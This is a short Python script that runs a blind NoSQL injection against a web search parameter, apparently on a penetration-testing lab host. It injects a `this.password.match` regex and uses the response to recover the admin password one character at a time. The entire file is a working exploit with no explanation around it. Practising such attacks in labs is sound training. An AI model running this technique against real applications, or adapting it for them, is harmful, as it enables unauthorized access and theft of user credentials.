import urllib.request
import string


URL = "http://ptl-3f1518ad-6aa41414.libcurl.so"

def check(payload):
	url = URL+"/?search=admin%27%26%26this.password.match(/"+payload+"/)%00"
	print(url)
	resp = urllib.request.urlopen(url)
	data = resp.read()
	return ">admin<" in str(data)

print(check("^5.*$"))

CHARSET = list("-"+string.ascii_lowercase+string.digits)
password = ""

while True:
	for c in CHARSET:
		print("Trying: "+c+"for "+password)
		test= password+c
		if check("^"+test+".*$"):
			password+=c
			print(password)
			break
		elif c == CHARSET[-1]:
			print(password)
			exit(0)